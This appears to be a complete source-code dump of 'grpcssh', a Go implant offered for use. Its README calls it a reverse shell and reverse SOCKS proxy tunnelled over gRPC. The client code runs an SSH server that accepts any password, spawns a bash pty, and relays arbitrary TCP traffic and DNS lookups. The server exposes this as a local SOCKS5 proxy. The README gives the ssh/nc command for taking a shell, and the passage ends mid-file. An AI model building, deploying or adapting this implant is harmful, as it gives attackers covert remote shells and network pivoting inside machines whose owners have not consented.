├── README.md ├── client └── client.go ├── go.mod ├── go.sum ├── grpctun ├── grpctun.pb.go ├── grpctun.proto └── grpctun_grpc.pb.go ├── makefile ├── server └── server.go └── share └── grpcconn.go /README.md: -------------------------------------------------------------------------------- 1 | # `grpcssh` (now with proper concurrent socks) 2 | ``` 3 | better explained over at https://tishina.in/ops/grpcssh 4 | an extension over grpc-ssh-socks. this can be considered a simple reverse shell. on connect, 5 | a socks proxy is opened by the server. connecting over ssh to a hardcoded ip address with 6 | an arbitrary password grants a full pty shell. 7 | 8 | DNS resolution is very simple and done via an SSH "session" channel in the form of Write(addr), Read(ip) 9 | 10 | this is a reference implementation for a reverse socks proxy in a gRPC-based implant. The SSH server is added mostly for fun. 11 | for the pty shell, full credit goes to https://gist.github.com/jpillora/ 12 | here it is, kind of working: 13 | ``` 14 | ![image](https://github.com/zimnyaa/grpcssh/assets/502153/b3e4fce7-8ba4-46ce-9cff-d62fa4f7290f) 15 | 16 | ``` 17 | ~/grpcssh$ make 18 | to build this even more abominable thing. 19 | ~/grpcssh$ ssh -o ProxyCommand="nc -x localhost:1080 %h %p" -o "UserKnownHostsFile=/dev/null" root@1.1.1.1 20 | to get a shell. 21 | ``` 22 | -------------------------------------------------------------------------------- /client/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "golang.org/x/crypto/ssh" 5 | "net" 6 | "io" 7 | "log" 8 | "context" 9 | "fmt" 10 | "os" 11 | "crypto/rand" 12 | "encoding/binary" 13 | "crypto/rsa" 14 | "syscall" 15 | "sync" 16 | "unsafe" 17 | "os/exec" 18 | "github.com/creack/pty" 19 | "zimnyaa/grpcssh/share" 20 | "google.golang.org/grpc" 21 | "zimnyaa/grpcssh/grpctun" 22 | ) 23 | 24 | 25 | func main() { 26 | go sshexec() 27 | grpcconn, err := grpc.Dial("localhost:50051", grpc.WithInsecure()) 28 | if err != nil { 29 | log.Fatalf("Failed to connect: %v", err) 30 | } 31 | defer grpcconn.Close() 32 | 33 | 34 | client := grpctun.NewTunnelServiceClient(grpcconn) 35 | stream, err := client.Tunnel(context.Background()) 36 | if err != nil { 37 | log.Fatalf("Failed to open stream: %v", err) 38 | } 39 | nConn := share.NewGrpcClientConn(stream) 40 | 41 | 42 | config := &ssh.ServerConfig{ 43 | PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) { 44 | return nil, nil 45 | }, 46 | } 47 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 48 | if err != nil { 49 | panic(err) 50 | } 51 | signer, err := ssh.NewSignerFromKey(privateKey) 52 | if err != nil { 53 | panic("Failed to create signer") 54 | } 55 | config.AddHostKey(signer) 56 | 57 | sshConn, chans, reqs, err := ssh.NewServerConn(nConn, config) 58 | if err != nil { 59 | log.Fatalf("Failed to open stream: %v", err) 60 | } 61 | defer sshConn.Close() 62 | 63 | 64 | go ssh.DiscardRequests(reqs) 65 | 66 | for newChannel := range chans { 67 | log.Printf("[socks] new channel\n") 68 | if newChannel.ChannelType() == "session" { 69 | go func() { 70 | connection, requests, err := newChannel.Accept() 71 | if err != nil { 72 | return 73 | } 74 | go ssh.DiscardRequests(requests) 75 | var domainBytes []byte = make([]byte, 1024) 76 | n, err := connection.Read(domainBytes) 77 | if err != nil || n == 0 { 78 | return 79 | } 80 | connection.Write(dnsResolve(string(domainBytes))) 81 | connection.Close() 82 | }() 83 | continue 84 | } 85 | 86 | if newChannel.ChannelType() != "direct-tcpip" { 87 | newChannel.Reject(ssh.UnknownChannelType, "unknown channel type") 88 | continue 89 | } 90 | 91 | 92 | var dReq struct { 93 | DestAddr string 94 | DestPort uint32 95 | } 96 | ssh.Unmarshal(newChannel.ExtraData(), &dReq) 97 | 98 | log.Printf("new direct-tcpip channel to %s:%d\n", dReq.DestAddr, dReq.DestPort) 99 | go func() { 100 | dest := fmt.Sprintf("%s:%d", dReq.DestAddr, dReq.DestPort) 101 | var conn net.Conn 102 | var err error 103 | if dReq.DestAddr == "1.1.1.1" { 104 | conn, err = net.Dial("unix", "/tmp/grpcssh") 105 | } else { 106 | conn, err = net.Dial("tcp", dest) 107 | } 108 | 109 | if err == nil { 110 | channel, chreqs, err := newChannel.Accept() 111 | if err != nil { 112 | return 113 | } 114 | go ssh.DiscardRequests(chreqs) 115 | 116 | go func() { 117 | defer channel.Close() 118 | defer conn.Close() 119 | io.Copy(channel, conn) 120 | }() 121 | go func() { 122 | defer channel.Close() 123 | defer conn.Close() 124 | io.Copy(conn, channel) 125 | }() 126 | } 127 | }() 128 | } 129 | 130 | } 131 | 132 | func dnsResolve(name string) ([]byte) { 133 | fmt.Printf("dnsresolve: %s\n", name) 134 | addr, err := net.ResolveIPAddr("ip", name) 135 | if err != nil { 136 | return []byte("err") 137 | } 138 | return []byte(addr.IP.String()) 139 | } 140 | 141 | // stolen from https://gist.github.com/jpillora/b480fde82bff51a06238 142 | func sshexec() { 143 | os.Remove("/tmp/grpcssh") 144 | config := &ssh.ServerConfig{ 145 | PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) { 146 | return nil, nil 147 | }, 148 | 149 | } 150 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 151 | if err != nil { 152 | panic(err) 153 | } 154 | signer, err := ssh.NewSignerFromKey(privateKey) 155 | if err != nil { 156 | panic("Failed to create signer") 157 | } 158 | config.AddHostKey(signer) 159 | 160 | listener, err := net.Listen("unix", "/tmp/grpcssh") 161 | if err != nil { 162 | log.Fatalf("Failed to listen (%s)", err) 163 | } 164 | 165 | for { 166 | tcpConn, err := listener.Accept() 167 | if err != nil { 168 | log.Printf("Failed to accept incoming connection (%s)", err) 169 | continue 170 | } 171 | 172 | sshConn, chans, reqs, err := ssh.NewServerConn(tcpConn, config) 173 | if err != nil { 174 | log.Printf("Failed to handshake (%s)", err) 175 | continue 176 | } 177 | 178 | log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion()) 179 | 180 | go ssh.DiscardRequests(reqs) 181 | 182 | go handleChannels(chans) 183 | } 184 | } 185 | 186 | func handleChannels(chans <-chan ssh.NewChannel) { 187 | 188 | for newChannel := range chans { 189 | go handleChannel(newChannel) 190 | } 191 | } 192 | 193 | func handleChannel(newChannel ssh.NewChannel) { 194 | 195 | if t := newChannel.ChannelType(); t != "session" { 196 | newChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf("unknown channel type: %s", t)) 197 | return 198 | } 199 | 200 | 201 | connection, requests, err := newChannel.Accept() 202 | if err != nil { 203 | log.Printf("Could not accept channel (%s)", err) 204 | return 205 | } 206 | 207 | 208 | bash := exec.Command("bash") 209 | 210 | 211 | close := func() { 212 | connection.Close() 213 | _, err := bash.Process.Wait() 214 | if err != nil { 215 | log.Printf("Failed to exit bash (%s)", err) 216 | } 217 | log.Printf("Session closed") 218 | } 219 | 220 | 221 | log.Print("Creating pty...") 222 | bashf, err := pty.Start(bash) 223 | if err != nil { 224 | log.Printf("Could not start pty (%s)", err) 225 | close() 226 | return 227 | } 228 | 229 | 230 | var once sync.Once 231 | go func() { 232 | io.Copy(connection, bashf) 233 | once.Do(close) 234 | }() 235 | go func() { 236 | io.Copy(bashf, connection) 237 | once.Do(close) 238 | }() 239 | 240 | 241 | go func() { 242 | for req := range requests { 243 | switch req.Type { 244 | case "shell": 245 | 246 | if len(req.Payload) == 0 { 247 | req.Reply(true, nil) 248 | } 249 | case "pty-req": 250 | termLen := req.Payload[3] 251 | w, h := parseDims(req.Payload[termLen+4:]) 252 | SetWinsize(bashf.Fd(), w, h) 253 | 254 | req.Reply(true, nil) 255 | case "window-change": 256 | w, h := parseDims(req.Payload) 257 | SetWinsize(bashf.Fd(), w, h) 258 | } 259 | } 260 | }() 261 | } 262 | 263 | func parseDims(b []byte) (uint32, uint32) { 264 | w := binary.BigEndian.Uint32(b) 265 | h := binary.BigEndian.Uint32(b[4:]) 266 | return w, h 267 | } 268 | 269 | type Winsize struct { 270 | Height uint16 271 | Width uint16 272 | x uint16 // unused 273 | y uint16 // unused 274 | } 275 | 276 | func SetWinsize(fd uintptr, w, h uint32) { 277 | ws := &Winsize{Width: uint16(w), Height: uint16(h)} 278 | syscall.Syscall(syscall.SYS_IOCTL, fd, uintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws))) 279 | } 280 | 281 | 282 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module zimnyaa/grpcssh 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 7 | github.com/creack/pty v1.1.11 8 | golang.org/x/crypto v0.13.0 9 | google.golang.org/grpc v1.58.2 10 | google.golang.org/protobuf v1.31.0 11 | ) 12 | 13 | require ( 14 | github.com/golang/protobuf v1.5.3 // indirect 15 | golang.org/x/net v0.12.0 // indirect 16 | golang.org/x/sys v0.12.0 // indirect 17 | golang.org/x/text v0.13.0 // indirect 18 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= 2 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= 3 | github.com/creack/pty v1.1.11 h1:07n33Z8lZxZ2qwegKbObQohDhXDQxiMMz1NOUGYlesw= 4 | github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 5 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 6 | github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= 7 | github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 8 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 9 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 10 | golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= 11 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= 12 | golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= 13 | golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= 14 | golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= 15 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU= 17 | golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= 18 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 19 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 20 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 h1:bVf09lpb+OJbByTj913DRJioFFAjf/ZGxEz7MajTp2U= 21 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= 22 | google.golang.org/grpc v1.58.2 h1:SXUpjxeVF3FKrTYQI4f4KvbGD5u2xccdYdurwowix5I= 23 | google.golang.org/grpc v1.58.2/go.mod h1:tgX3ZQDlNJGU96V6yHh1T/JeoBQ2TXdr43YbYSsCJk0= 24 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 25 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 26 | google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= 27 | google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 28 | -------------------------------------------------------------------------------- /grpctun/grpctun.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.31.0 4 | // protoc v4.24.3 5 | // source: grpctun/grpctun.proto 6 | 7 | package grpctun 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type TunnelData struct { 24 | state protoimpl.MessageState 25 | sizeCache protoimpl.SizeCache 26 | unknownFields protoimpl.UnknownFields 27 | 28 | Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` 29 | } 30 | 31 | func (x *TunnelData) Reset() { 32 | *x = TunnelData{} 33 | if protoimpl.UnsafeEnabled { 34 | mi := &file_grpctun_grpctun_proto_msgTypes[0] 35 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 36 | ms.StoreMessageInfo(mi) 37 | } 38 | } 39 | 40 | func (x *TunnelData) String() string { 41 | return protoimpl.X.MessageStringOf(x) 42 | } 43 | 44 | func (*TunnelData) ProtoMessage() {} 45 | 46 | func (x *TunnelData) ProtoReflect() protoreflect.Message { 47 | mi := &file_grpctun_grpctun_proto_msgTypes[0] 48 | if protoimpl.UnsafeEnabled && x != nil { 49 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 50 | if ms.LoadMessageInfo() == nil { 51 | ms.StoreMessageInfo(mi) 52 | } 53 | return ms 54 | } 55 | return mi.MessageOf(x) 56 | } 57 | 58 | // Deprecated: Use TunnelData.ProtoReflect.Descriptor instead. 59 | func (*TunnelData) Descriptor() ([]byte, []int) { 60 | return file_grpctun_grpctun_proto_rawDescGZIP(), []int{0} 61 | } 62 | 63 | func (x *TunnelData) GetData() []byte { 64 | if x != nil { 65 | return x.Data 66 | } 67 | return nil 68 | } 69 | 70 | var File_grpctun_grpctun_proto protoreflect.FileDescriptor 71 | 72 | var file_grpctun_grpctun_proto_rawDesc = []byte{ 73 | 0x0a, 0x15, 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 0x6e, 0x2f, 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 74 | 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x07, 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 0x6e, 75 | 0x22, 0x20, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 76 | 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x64, 0x61, 77 | 0x74, 0x61, 0x32, 0x47, 0x0a, 0x0d, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x53, 0x65, 0x72, 0x76, 78 | 0x69, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x06, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x13, 0x2e, 79 | 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 0x6e, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 80 | 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 0x6e, 0x2e, 0x54, 0x75, 0x6e, 81 | 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x42, 0x0b, 0x5a, 0x09, 0x2e, 82 | 0x2f, 0x67, 0x72, 0x70, 0x63, 0x74, 0x75, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 83 | } 84 | 85 | var ( 86 | file_grpctun_grpctun_proto_rawDescOnce sync.Once 87 | file_grpctun_grpctun_proto_rawDescData = file_grpctun_grpctun_proto_rawDesc 88 | ) 89 | 90 | func file_grpctun_grpctun_proto_rawDescGZIP() []byte { 91 | file_grpctun_grpctun_proto_rawDescOnce.Do(func() { 92 | file_grpctun_grpctun_proto_rawDescData = protoimpl.X.CompressGZIP(file_grpctun_grpctun_proto_rawDescData) 93 | }) 94 | return file_grpctun_grpctun_proto_rawDescData 95 | } 96 | 97 | var file_grpctun_grpctun_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 98 | var file_grpctun_grpctun_proto_goTypes = []interface{}{ 99 | (*TunnelData)(nil), // 0: grpctun.TunnelData 100 | } 101 | var file_grpctun_grpctun_proto_depIdxs = []int32{ 102 | 0, // 0: grpctun.TunnelService.Tunnel:input_type -> grpctun.TunnelData 103 | 0, // 1: grpctun.TunnelService.Tunnel:output_type -> grpctun.TunnelData 104 | 1, // [1:2] is the sub-list for method output_type 105 | 0, // [0:1] is the sub-list for method input_type 106 | 0, // [0:0] is the sub-list for extension type_name 107 | 0, // [0:0] is the sub-list for extension extendee 108 | 0, // [0:0] is the sub-list for field type_name 109 | } 110 | 111 | func init() { file_grpctun_grpctun_proto_init() } 112 | func file_grpctun_grpctun_proto_init() { 113 | if File_grpctun_grpctun_proto != nil { 114 | return 115 | } 116 | if !protoimpl.UnsafeEnabled { 117 | file_grpctun_grpctun_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { 118 | switch v := v.(*TunnelData); i { 119 | case 0: 120 | return &v.state 121 | case 1: 122 | return &v.sizeCache 123 | case 2: 124 | return &v.unknownFields 125 | default: 126 | return nil 127 | } 128 | } 129 | } 130 | type x struct{} 131 | out := protoimpl.TypeBuilder{ 132 | File: protoimpl.DescBuilder{ 133 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 134 | RawDescriptor: file_grpctun_grpctun_proto_rawDesc, 135 | NumEnums: 0, 136 | NumMessages: 1, 137 | NumExtensions: 0, 138 | NumServices: 1, 139 | }, 140 | GoTypes: file_grpctun_grpctun_proto_goTypes, 141 | DependencyIndexes: file_grpctun_grpctun_proto_depIdxs, 142 | MessageInfos: file_grpctun_grpctun_proto_msgTypes, 143 | }.Build() 144 | File_grpctun_grpctun_proto = out.File 145 | file_grpctun_grpctun_proto_rawDesc = nil 146 | file_grpctun_grpctun_proto_goTypes = nil 147 | file_grpctun_grpctun_proto_depIdxs = nil 148 | } 149 | -------------------------------------------------------------------------------- /grpctun/grpctun.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package grpctun; 4 | option go_package = "./grpctun"; 5 | 6 | service TunnelService { 7 | rpc Tunnel(stream TunnelData) returns (stream TunnelData); 8 | } 9 | 10 | message TunnelData { 11 | bytes data = 1; 12 | } 13 | -------------------------------------------------------------------------------- /grpctun/grpctun_grpc.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go-grpc. DO NOT EDIT. 2 | // versions: 3 | // - protoc-gen-go-grpc v1.3.0 4 | // - protoc v4.24.3 5 | // source: grpctun/grpctun.proto 6 | 7 | package grpctun 8 | 9 | import ( 10 | context "context" 11 | grpc "google.golang.org/grpc" 12 | codes "google.golang.org/grpc/codes" 13 | status "google.golang.org/grpc/status" 14 | ) 15 | 16 | // This is a compile-time assertion to ensure that this generated file 17 | // is compatible with the grpc package it is being compiled against. 18 | // Requires gRPC-Go v1.32.0 or later. 19 | const _ = grpc.SupportPackageIsVersion7 20 | 21 | const ( 22 | TunnelService_Tunnel_FullMethodName = "/grpctun.TunnelService/Tunnel" 23 | ) 24 | 25 | // TunnelServiceClient is the client API for TunnelService service. 26 | // 27 | // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. 28 | type TunnelServiceClient interface { 29 | Tunnel(ctx context.Context, opts ...grpc.CallOption) (TunnelService_TunnelClient, error) 30 | } 31 | 32 | type tunnelServiceClient struct { 33 | cc grpc.ClientConnInterface 34 | } 35 | 36 | func NewTunnelServiceClient(cc grpc.ClientConnInterface) TunnelServiceClient { 37 | return &tunnelServiceClient{cc} 38 | } 39 | 40 | func (c *tunnelServiceClient) Tunnel(ctx context.Context, opts ...grpc.CallOption) (TunnelService_TunnelClient, error) { 41 | stream, err := c.cc.NewStream(ctx, &TunnelService_ServiceDesc.Streams[0], TunnelService_Tunnel_FullMethodName, opts...) 42 | if err != nil { 43 | return nil, err 44 | } 45 | x := &tunnelServiceTunnelClient{stream} 46 | return x, nil 47 | } 48 | 49 | type TunnelService_TunnelClient interface { 50 | Send(*TunnelData) error 51 | Recv() (*TunnelData, error) 52 | grpc.ClientStream 53 | } 54 | 55 | type tunnelServiceTunnelClient struct { 56 | grpc.ClientStream 57 | } 58 | 59 | func (x *tunnelServiceTunnelClient) Send(m *TunnelData) error { 60 | return x.ClientStream.SendMsg(m) 61 | } 62 | 63 | func (x *tunnelServiceTunnelClient) Recv() (*TunnelData, error) { 64 | m := new(TunnelData) 65 | if err := x.ClientStream.RecvMsg(m); err != nil { 66 | return nil, err 67 | } 68 | return m, nil 69 | } 70 | 71 | // TunnelServiceServer is the server API for TunnelService service. 72 | // All implementations must embed UnimplementedTunnelServiceServer 73 | // for forward compatibility 74 | type TunnelServiceServer interface { 75 | Tunnel(TunnelService_TunnelServer) error 76 | mustEmbedUnimplementedTunnelServiceServer() 77 | } 78 | 79 | // UnimplementedTunnelServiceServer must be embedded to have forward compatible implementations. 80 | type UnimplementedTunnelServiceServer struct { 81 | } 82 | 83 | func (UnimplementedTunnelServiceServer) Tunnel(TunnelService_TunnelServer) error { 84 | return status.Errorf(codes.Unimplemented, "method Tunnel not implemented") 85 | } 86 | func (UnimplementedTunnelServiceServer) mustEmbedUnimplementedTunnelServiceServer() {} 87 | 88 | // UnsafeTunnelServiceServer may be embedded to opt out of forward compatibility for this service. 89 | // Use of this interface is not recommended, as added methods to TunnelServiceServer will 90 | // result in compilation errors. 91 | type UnsafeTunnelServiceServer interface { 92 | mustEmbedUnimplementedTunnelServiceServer() 93 | } 94 | 95 | func RegisterTunnelServiceServer(s grpc.ServiceRegistrar, srv TunnelServiceServer) { 96 | s.RegisterService(&TunnelService_ServiceDesc, srv) 97 | } 98 | 99 | func _TunnelService_Tunnel_Handler(srv interface{}, stream grpc.ServerStream) error { 100 | return srv.(TunnelServiceServer).Tunnel(&tunnelServiceTunnelServer{stream}) 101 | } 102 | 103 | type TunnelService_TunnelServer interface { 104 | Send(*TunnelData) error 105 | Recv() (*TunnelData, error) 106 | grpc.ServerStream 107 | } 108 | 109 | type tunnelServiceTunnelServer struct { 110 | grpc.ServerStream 111 | } 112 | 113 | func (x *tunnelServiceTunnelServer) Send(m *TunnelData) error { 114 | return x.ServerStream.SendMsg(m) 115 | } 116 | 117 | func (x *tunnelServiceTunnelServer) Recv() (*TunnelData, error) { 118 | m := new(TunnelData) 119 | if err := x.ServerStream.RecvMsg(m); err != nil { 120 | return nil, err 121 | } 122 | return m, nil 123 | } 124 | 125 | // TunnelService_ServiceDesc is the grpc.ServiceDesc for TunnelService service. 126 | // It's only intended for direct use with grpc.RegisterService, 127 | // and not to be introspected or modified (even as a copy) 128 | var TunnelService_ServiceDesc = grpc.ServiceDesc{ 129 | ServiceName: "grpctun.TunnelService", 130 | HandlerType: (*TunnelServiceServer)(nil), 131 | Methods: []grpc.MethodDesc{}, 132 | Streams: []grpc.StreamDesc{ 133 | { 134 | StreamName: "Tunnel", 135 | Handler: _TunnelService_Tunnel_Handler, 136 | ServerStreams: true, 137 | ClientStreams: true, 138 | }, 139 | }, 140 | Metadata: "grpctun/grpctun.proto", 141 | } 142 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | .PHONY: all 4 | 5 | all: 6 | protoc --go_out=. grpctun/grpctun.proto 7 | protoc --go-grpc_out=. grpctun/grpctun.proto 8 | 9 | go build -o sserver ./server/ 10 | go build -o sclient ./client/ -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "golang.org/x/crypto/ssh" 5 | "net" 6 | "fmt" 7 | "log" 8 | "context" 9 | "github.com/armon/go-socks5" 10 | "zimnyaa/grpcssh/share" 11 | "google.golang.org/grpc" 12 | "zimnyaa/grpcssh/grpctun" 13 | ) 14 | 15 | type server struct{ 16 | grpctun.UnimplementedTunnelServiceServer 17 | } 18 | 19 | func findUnusedPort(startPort int32) (int32) { 20 | for port := startPort; port <= 65535; port++ { 21 | addr := fmt.Sprintf("localhost:%d", port) 22 | listener, err := net.Listen("tcp", addr) 23 | if err != nil { 24 | continue 25 | } 26 | listener.Close() 27 | return port 28 | } 29 | return 0 30 | } 31 | 32 | type sshResolver struct{ 33 | sshConnection *ssh.Client 34 | } 35 | 36 | 37 | func (d sshResolver) Resolve(ctx context.Context, name string) (context.Context, net.IP, error) { 38 | 39 | sess, err := d.sshConnection.NewSession() 40 | if err != nil { 41 | return ctx, nil, fmt.Errorf("sess err.") 42 | } 43 | defer sess.Close() 44 | stdin, err := sess.StdinPipe() 45 | if err != nil { 46 | return ctx, nil, fmt.Errorf("pipe err.") 47 | } 48 | 49 | stdout, err := sess.StdoutPipe() 50 | if err != nil { 51 | return ctx, nil, fmt.Errorf("pipe err.") 52 | } 53 | 54 | stdin.Write([]byte(name)) 55 | defer stdin.Close() 56 | var addr []byte = make([]byte, 256) 57 | 58 | _, err = stdout.Read(addr) 59 | if err != nil { 60 | return ctx, nil, fmt.Errorf("pipe err.") 61 | } 62 | 63 | resp := string(addr) 64 | 65 | if resp == "err" { 66 | return ctx, nil, fmt.Errorf("resolve err.") 67 | } 68 | ipaddr := net.ParseIP(resp) 69 | return ctx, ipaddr, err 70 | } 71 | 72 | func (s *server) Tunnel(stream grpctun.TunnelService_TunnelServer) error { 73 | log.Printf("new tunnel client\n") 74 | socksconn := share.NewGrpcServerConn(stream) 75 | 76 | sshConf := &ssh.ClientConfig{ 77 | User: "root", 78 | Auth: []ssh.AuthMethod{ssh.Password("asdf")}, 79 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 80 | } 81 | 82 | c, chans, reqs, err := ssh.NewClientConn(socksconn, "255.255.255.255", sshConf) 83 | if err != nil { 84 | fmt.Println("%v", err) 85 | return err 86 | } 87 | sshConn := ssh.NewClient(c, chans, reqs) 88 | 89 | defer sshConn.Close() 90 | 91 | log.Printf("connected to backwards ssh server\n") 92 | 93 | sshRes := sshResolver{sshConnection: sshConn} 94 | 95 | conf := &socks5.Config{ 96 | Dial: func(ctx context.Context, network, addr string) (net.Conn, error) { 97 | return sshConn.Dial(network, addr) 98 | }, 99 | Resolver: sshRes, 100 | } 101 | 102 | 103 | serverSocks, err := socks5.New(conf) 104 | if err != nil { 105 | fmt.Println(err) 106 | return err 107 | } 108 | port := findUnusedPort(1080) 109 | log.Printf("creating a socks server@%d\n", port) 110 | if err := serverSocks.ListenAndServe("tcp", fmt.Sprintf("127.0.0.1:%d", port)); err != nil { 111 | log.Fatalf("failed to create socks5 server%v\n", err) 112 | } 113 | 114 | return nil 115 | 116 | } 117 | 118 | func main() { 119 | lis, err := net.Listen("tcp", ":50051") 120 | if err != nil { 121 | log.Fatalf("failed to listen: %v\n", err) 122 | } 123 | s := grpc.NewServer() 124 | grpctun.RegisterTunnelServiceServer(s, &server{}) 125 | s.Serve(lis) 126 | } 127 | 128 | -------------------------------------------------------------------------------- /share/grpcconn.go: -------------------------------------------------------------------------------- 1 | package share 2 | 3 | import ( 4 | "bytes" 5 | "net" 6 | "sync" 7 | "time" 8 | "zimnyaa/grpcssh/grpctun" // Import your generated proto package 9 | ) 10 | 11 | type SendRecvGRPC interface { 12 | Send(m *grpctun.TunnelData) error 13 | Recv() (*grpctun.TunnelData, error) 14 | } 15 | 16 | type GrpcConn struct { 17 | stream SendRecvGRPC 18 | rbuf *bytes.Buffer 19 | wbuf *bytes.Buffer 20 | mu sync.Mutex 21 | } 22 | 23 | func NewGrpcServerConn(stream grpctun.TunnelService_TunnelServer) *GrpcConn { 24 | return &GrpcConn{ 25 | stream: stream, 26 | rbuf: &bytes.Buffer{}, 27 | wbuf: &bytes.Buffer{}, 28 | } 29 | } 30 | 31 | func NewGrpcClientConn(stream grpctun.TunnelService_TunnelClient) *GrpcConn { 32 | return &GrpcConn{ 33 | stream: stream, 34 | rbuf: &bytes.Buffer{}, 35 | wbuf: &bytes.Buffer{}, 36 | } 37 | } 38 